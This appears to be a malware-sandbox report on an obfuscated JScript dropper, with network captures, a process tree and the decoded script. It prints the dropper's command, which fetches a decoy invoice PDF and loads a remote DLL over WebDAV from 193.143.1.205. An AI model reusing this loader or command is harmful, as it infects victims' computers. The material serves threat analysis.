72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 20:01:16.967483997 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 20:01:16.967494965 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 20:01:16.967506886 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 20:01:16.967515945 CET	224	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=
Jan 10, 2025 20:01:16.967531919 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 10, 2025 20:01:16.967545033 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 10, 2025 20:01:16.967557907 CET	448	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 10, 2025 20:01:16.967570066 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 10, 2025 20:01:16.967581987 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 10, 2025 20:01:16.972472906 CET	1236	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	5996	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:01:18.355927944 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 20:01:19.208560944 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:01:19 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	14:01:13
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\551753881921117607.js"
Imagebase:	0x7ff6803f0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	14:01:13
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\305472725215745.dll
Imagebase:	0x7ff7f6a30000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	14:01:13
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	14:01:13
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	14:01:17
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	14:01:17
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7f6a30000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	14:01:17
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff656330000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	14:01:18
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	14:01:18
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	14:01:18
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1748,i,7694046889959552837,9448160055316661250,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function pjggdjfe() {	pjggdjfe() ➔ undefined
1	ogtkieng = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var kfjfo = this[zjjwy + vglhaymc + rgxctlh + utnjarjmy + ulmkod + fxrvf + uvrckwlq + tyhqktgq] ( this[vknjig + cynkcb + juupe + rgxctlh + vexvk + zjjwy + tyhqktgq][ggkxvb + rgxctlh + ulmkod + vglhaymc + tyhqktgq + ulmkod + xkkejl + sealc + gkjywlqa + ulmkod + juupe + tyhqktgq] ( vknjig + cynkcb + juupe + rgxctlh + vexvk + zjjwy + tyhqktgq + hwwya + cynkcb + ipvnm + ulmkod + asequy + asequy ) [aojrjc + ulmkod + qvcmsgmj + aojrjc + ulmkod + vglhaymc + ggwcdw] ( shvagh + nxylj + debnk + xzwuq + jmqorwxc + ggkxvb + ptrok + aojrjc + aojrjc + debnk + fklmlfo + qcmzcyafs + jmqorwxc + ptrok + cynkcb + debnk + aojrjc + yxybpzmmm + ggkxvb + vvlyierm + uvrckwlq + tyhqktgq + rgxctlh + vvlyierm + asequy + bkefcwf + fzqulmjbz + vglhaymc + uvrckwlq + ulmkod + asequy + yxybpzmmm + fxrvf + uvrckwlq + tyhqktgq + ulmkod + rgxctlh + uvrckwlq + vglhaymc + tyhqktgq + vexvk + vvlyierm + uvrckwlq + vglhaymc + asequy + yxybpzmmm + cvzdkwxyt + vvlyierm + juupe + vglhaymc + asequy + ulmkod ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( unepdzqw = 0 ; unepdzqw < ogtkieng[asequy + ulmkod + uvrckwlq + qvcmsgmj + tyhqktgq + ipvnm] ; ++ unepdzqw )
4	{
5	if ( kfjfo == ogtkieng[unepdzqw] )
6	{
7	kfjfo = true;
8	break ;
9	}
10	}
11	if ( kfjfo !== true )
12	this[vknjig + cynkcb + juupe + rgxctlh + vexvk + zjjwy + tyhqktgq][dywcfys + rcyjw + vexvk + tyhqktgq] ( );
13	this[vknjig + cynkcb + juupe + rgxctlh + vexvk + zjjwy + tyhqktgq][ggkxvb + rgxctlh + ulmkod + vglhaymc + tyhqktgq + ulmkod + xkkejl + sealc + gkjywlqa + ulmkod + juupe + tyhqktgq] ( vknjig + cynkcb + juupe + rgxctlh + vexvk + zjjwy + tyhqktgq + hwwya + cynkcb + ipvnm + ulmkod + asequy + asequy ) [rgxctlh + rcyjw + uvrckwlq] ( juupe + exuygkniw + ggwcdw + bkefcwf + fgvrz + juupe + bkefcwf + zjjwy + vvlyierm + tyqwsx + ulmkod + rgxctlh + utnjarjmy + ipvnm + ulmkod + asequy + asequy + hwwya + ulmkod + xrwnwajk + ulmkod + bkefcwf + ovvovokd + ggkxvb + vvlyierm + exuygkniw + exuygkniw + vglhaymc + uvrckwlq + ggwcdw + bkefcwf + gjkigoyw + fxrvf + uvrckwlq + axrhoza + vvlyierm + rfubooh + ulmkod + ovvovokd + vknjig + ulmkod + sealc + aojrjc + ulmkod + vvile + rcyjw + ulmkod + utnjarjmy + tyhqktgq + bkefcwf + ovvovokd + xkkejl + rcyjw + tyhqktgq + jqciboxg + vexvk + asequy + ulmkod + bkefcwf + ibucqosp + tyhqktgq + ulmkod + exuygkniw + zjjwy + ibucqosp + yxybpzmmm + vexvk + uvrckwlq + axrhoza + vvlyierm + vexvk + juupe + ulmkod + hwwya + zjjwy + ggwcdw + rantu + bkefcwf + ipvnm + tyhqktgq + tyhqktgq + zjjwy + rajtj + fgvrz + fgvrz + plgvn + ctqql + zxvpfzw + hwwya + plgvn + ugdrg + zxvpfzw + hwwya + plgvn + hwwya + uuievn + evxrduoh + ybitl + fgvrz + vexvk + uvrckwlq + axrhoza + vvlyierm + vexvk + juupe + ulmkod + hwwya + zjjwy + ipvnm + zjjwy + gjkigoyw + dhacfoim + dhacfoim + utnjarjmy + tyhqktgq + vglhaymc + rgxctlh + tyhqktgq + bkefcwf + ibucqosp + tyhqktgq + ulmkod + exuygkniw + zjjwy + ibucqosp + yxybpzmmm + vexvk + uvrckwlq + axrhoza + vvlyierm + vexvk + juupe + ulmkod + hwwya + zjjwy + ggwcdw + rantu + dhacfoim + dhacfoim + juupe + exuygkniw + ggwcdw + bkefcwf + fgvrz + juupe + bkefcwf + uvrckwlq + ulmkod + tyhqktgq + bkefcwf + rcyjw + utnjarjmy + ulmkod + bkefcwf + yxybpzmmm + yxybpzmmm + plgvn + ctqql + zxvpfzw + hwwya + plgvn + ugdrg + zxvpfzw + hwwya + plgvn + hwwya + uuievn + evxrduoh + ybitl + fkwlvqq + kbhucsew + kbhucsew + kbhucsew + kbhucsew + yxybpzmmm + ggwcdw + vglhaymc + axrhoza + tyqwsx + tyqwsx + tyqwsx + rgxctlh + vvlyierm + vvlyierm + tyhqktgq + yxybpzmmm + dhacfoim + dhacfoim + juupe + exuygkniw + ggwcdw + bkefcwf + fgvrz + juupe + bkefcwf + rgxctlh + ulmkod + qvcmsgmj + utnjarjmy + axrhoza + rgxctlh + zxvpfzw + uuievn + bkefcwf + fgvrz + utnjarjmy + bkefcwf + yxybpzmmm + yxybpzmmm + plgvn + ctqql + zxvpfzw + hwwya + plgvn + ugdrg + zxvpfzw + hwwya + plgvn + hwwya + uuievn + evxrduoh + ybitl + fkwlvqq + kbhucsew + kbhucsew + kbhucsew + kbhucsew + yxybpzmmm + ggwcdw + vglhaymc + axrhoza + tyqwsx + tyqwsx + tyqwsx + rgxctlh + vvlyierm + vvlyierm + tyhqktgq + yxybpzmmm + zxvpfzw + evxrduoh + ybitl + ugdrg + sskgapzy + uuievn + sskgapzy + uuievn + ybitl + uuievn + plgvn + ybitl + sskgapzy + ugdrg + ybitl + hwwya + ggwcdw + asequy + asequy, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\305472725215745.dll",0,false) ➔ 0
14	}
15	zjjwy = "W";
16	zjjwy = "z";
17	zjjwy = "m";
18	zjjwy = "J";
19	zjjwy = "a";
20	zjjwy = "c";
21	zjjwy = "Y";
22	zjjwy = "I";
23	zjjwy = "b";
24	zjjwy = "y";
25	zjjwy = "R";
26	zjjwy = "x";
27	zjjwy = "P";
28	zjjwy = "a";
29	zjjwy = "P";
30	zjjwy = "p";
31	ggwcdw = "p";
32	ggwcdw = "P";
33	ggwcdw = "M";
34	ggwcdw = "g";
35	ggwcdw = "x";
36	ggwcdw = "T";
37	ggwcdw = "b";
38	ggwcdw = "e";
39	ggwcdw = "k";
40	ggwcdw = "x";
41	ggwcdw = "q";
42	ggwcdw = "e";
43	ggwcdw = "Q";
44	ggwcdw = "h";
45	ggwcdw = "Q";
46	ggwcdw = "E";
47	ggwcdw = "E";
48	ggwcdw = "c";
49	ggwcdw = "a";
50	ggwcdw = "U";
51	ggwcdw = "D";
52	ggwcdw = "R";
53	ggwcdw = "o";
54	ggwcdw = "X";
55	ggwcdw = "k";
56	ggwcdw = "F";
57	ggwcdw = "d";
58	fklmlfo = "Y";
59	fklmlfo = "m";
60	fklmlfo = "p";
61	fklmlfo = "T";
62	fklmlfo = "W";
63	fklmlfo = "p";
64	fklmlfo = "w";
65	fklmlfo = "S";
66	fklmlfo = "k";
67	fklmlfo = "A";
68	fklmlfo = "B";
69	fklmlfo = "w";
70	fklmlfo = "q";
71	fklmlfo = "f";
72	fklmlfo = "Y";
73	fklmlfo = "J";
74	fklmlfo = "T";
75	fklmlfo = "D";
76	fklmlfo = "A";
77	fklmlfo = "L";
78	fklmlfo = "G";
79	fklmlfo = "F";
80	fklmlfo = "X";
81	fklmlfo = "y";
82	fklmlfo = "p";
83	fklmlfo = "G";
84	fklmlfo = "Z";
85	fklmlfo = "r";
86	fklmlfo = "b";
87	fklmlfo = "M";
88	fklmlfo = "e";
89	fklmlfo = "Y";
90	fklmlfo = "t";
91	fklmlfo = "r";
92	fklmlfo = "D";
93	fklmlfo = "N";
94	kbhucsew = "e";
95	kbhucsew = "N";
96	kbhucsew = "w";
97	kbhucsew = "L";
98	kbhucsew = "o";
99	kbhucsew = "O";
100	kbhucsew = "P";
101	kbhucsew = "n";
102	kbhucsew = "k";
103	kbhucsew = "g";
104	kbhucsew = "P";
105	kbhucsew = "o";
106	kbhucsew = "K";
107	kbhucsew = "F";
108	kbhucsew = "p";
109	kbhucsew = "m";
110	kbhucsew = "s";
111	kbhucsew = "P";
112	kbhucsew = "l";
113	kbhucsew = "P";
114	kbhucsew = "y";
115	kbhucsew = "w";
116	kbhucsew = "l";
117	kbhucsew = "G";
118	kbhucsew = "b";
119	kbhucsew = "x";
120	kbhucsew = "P";
121	kbhucsew = "y";
122	kbhucsew = "Q";
123	kbhucsew = "A";
124	kbhucsew = "J";
125	kbhucsew = "L";
126	kbhucsew = "y";
127	kbhucsew = "8";
128	dywcfys = "x";
129	dywcfys = "f";
130	dywcfys = "g";
131	dywcfys = "D";
132	dywcfys = "Q";
133	ctqql = "j";
134	ctqql = "o";
135	ctqql = "K";
136	ctqql = "H";
137	ctqql = "m";
138	ctqql = "K";
139	ctqql = "P";
140	ctqql = "c";
141	ctqql = "f";
142	ctqql = "9";
143	hwwya = "w";
144	hwwya = "Y";
145	hwwya = "E";
146	hwwya = "H";
147	hwwya = "e";
148	hwwya = "I";
149	hwwya = "t";
150	hwwya = "R";
151	hwwya = "x";
152	hwwya = "m";
153	hwwya = "X";
154	hwwya = "V";
155	hwwya = "r";
156	hwwya = ".";
157	xrwnwajk = "U";
158	xrwnwajk = "m";
159	xrwnwajk = "c";
160	xrwnwajk = "b";
161	xrwnwajk = "D";
162	xrwnwajk = "q";
163	xrwnwajk = "g";
164	xrwnwajk = "F";
165	xrwnwajk = "x";
166	xrwnwajk = "J";
167	xrwnwajk = "H";
168	xrwnwajk = "R";
169	xrwnwajk = "Y";
170	xrwnwajk = "V";
171	xrwnwajk = "C";
172	xrwnwajk = "c";
173	xrwnwajk = "s";
174	xrwnwajk = "c";
175	xrwnwajk = "y";
176	xrwnwajk = "i";
177	xrwnwajk = "d";
178	xrwnwajk = "s";
179	xrwnwajk = "w";
180	xrwnwajk = "X";
181	xrwnwajk = "H";
182	xrwnwajk = "U";
183	xrwnwajk = "d";
184	xrwnwajk = "Q";
185	xrwnwajk = "n";
186	xrwnwajk = "j";
187	xrwnwajk = "Q";
188	xrwnwajk = "X";
189	xrwnwajk = "u";
190	xrwnwajk = "i";
191	xrwnwajk = "Y";
192	xrwnwajk = "u";
193	xrwnwajk = "F";
194	xrwnwajk = "x";
195	xrwnwajk = "f";
196	xrwnwajk = "c";
197	xrwnwajk = "X";
198	xrwnwajk = "l";
199	xrwnwajk = "x";
200	utnjarjmy = "F";
201	utnjarjmy = "Y";
202	utnjarjmy = "v";
203	utnjarjmy = "Q";
204	utnjarjmy = "s";
205	dhacfoim = "a";
206	dhacfoim = "w";
207	dhacfoim = "a";
208	dhacfoim = "g";
209	dhacfoim = "K";
210	dhacfoim = "m";
211	dhacfoim = "h";
212	dhacfoim = "o";
213	dhacfoim = "M";
214	dhacfoim = "c";
215	dhacfoim = "P";
216	dhacfoim = "&";
217	bkefcwf = "A";
218	bkefcwf = " ";
219	ptrok = "l";
220	ptrok = "U";
221	rgxctlh = "e";
222	rgxctlh = "g";
223	rgxctlh = "R";
224	rgxctlh = "C";
225	rgxctlh = "l";
226	rgxctlh = "r";
227	rgxctlh = "e";
228	rgxctlh = "c";
229	rgxctlh = "g";
230	rgxctlh = "L";
231	rgxctlh = "D";
232	rgxctlh = "L";
233	rgxctlh = "O";
234	rgxctlh = "i";
235	rgxctlh = "R";
236	rgxctlh = "P";
237	rgxctlh = "U";
238	rgxctlh = "t";
239	rgxctlh = "J";
240	rgxctlh = "X";
241	rgxctlh = "z";
242	rgxctlh = "o";
243	rgxctlh = "A";
244	rgxctlh = "z";
245	rgxctlh = "B";
246	rgxctlh = "w";
247	rgxctlh = "G";
248	rgxctlh = "k";
249	rgxctlh = "m";
250	rgxctlh = "r";
251	fxrvf = "h";
252	fxrvf = "G";
253	fxrvf = "m";
254	fxrvf = "C";
255	fxrvf = "q";
256	fxrvf = "R";
257	fxrvf = "U";
258	fxrvf = "p";
259	fxrvf = "t";
260	fxrvf = "Q";
261	fxrvf = "b";
262	fxrvf = "s";
263	fxrvf = "k";
264	fxrvf = "s";
265	fxrvf = "R";
266	fxrvf = "I";
267	ulmkod = "U";
268	ulmkod = "l";
269	ulmkod = "M";
270	ulmkod = "u";
271	ulmkod = "j";
272	ulmkod = "J";
273	ulmkod = "P";
274	ulmkod = "a";
275	ulmkod = "H";
276	ulmkod = "P";
277	ulmkod = "x";
278	ulmkod = "R";
279	ulmkod = "r";
280	ulmkod = "M";
281	ulmkod = "t";
282	ulmkod = "k";
283	ulmkod = "e";
284	fkwlvqq = "P";
285	fkwlvqq = "x";
286	fkwlvqq = "S";
287	fkwlvqq = "h";
288	fkwlvqq = "Q";
289	fkwlvqq = "M";
290	fkwlvqq = "L";
291	fkwlvqq = "s";
292	fkwlvqq = "F";
293	fkwlvqq = "O";
294	fkwlvqq = "b";
295	fkwlvqq = "C";
296	fkwlvqq = "y";
297	fkwlvqq = "N";
298	fkwlvqq = "y";
299	fkwlvqq = "A";
300	fkwlvqq = "i";
301	fkwlvqq = "k";
302	fkwlvqq = "w";
303	fkwlvqq = "e";
304	fkwlvqq = "t";
305	fkwlvqq = "R";
306	fkwlvqq = "C";
307	fkwlvqq = "E";
308	fkwlvqq = "J";
309	fkwlvqq = "w";
310	fkwlvqq = "f";
311	fkwlvqq = "g";
312	fkwlvqq = "e";
313	fkwlvqq = "S";
314	fkwlvqq = "m";
315	fkwlvqq = "b";
316	fkwlvqq = "e";
317	fkwlvqq = "y";
318	fkwlvqq = "x";
319	fkwlvqq = "A";
320	fkwlvqq = "h";
321	fkwlvqq = "z";
322	fkwlvqq = "@";
323	rantu = "c";
324	rantu = "u";
325	rantu = "B";
326	rantu = "u";
327	rantu = "P";
328	rantu = "w";
329	rantu = "a";
330	rantu = "c";
331	rantu = "U";
332	rantu = "J";
333	rantu = "e";
334	rantu = "A";
335	rantu = "U";
336	rantu = "J";
337	rantu = "i";
338	rantu = "G";
339	rantu = "n";
340	rantu = "w";
341	rantu = "C";
342	rantu = "c";
343	rantu = "l";
344	rantu = "I";
345	rantu = "Q";
346	rantu = "X";
347	rantu = "X";
348	rantu = "u";
349	rantu = "n";
350	rantu = "z";
351	rantu = "c";
352	rantu = "X";
353	rantu = "T";
354	rantu = "r";
355	rantu = "x";
356	rantu = "a";
357	rantu = "D";
358	rantu = "x";
359	rantu = "Z";
360	rantu = "T";
361	rantu = "T";
362	rantu = "f";
363	ibucqosp = "S";
364	ibucqosp = "D";
365	ibucqosp = "T";
366	ibucqosp = "I";
367	ibucqosp = "s";
368	ibucqosp = "r";
369	ibucqosp = "q";
370	ibucqosp = "r";
371	ibucqosp = "P";
372	ibucqosp = "Y";
373	ibucqosp = "w";
374	ibucqosp = "D";
375	ibucqosp = "u";
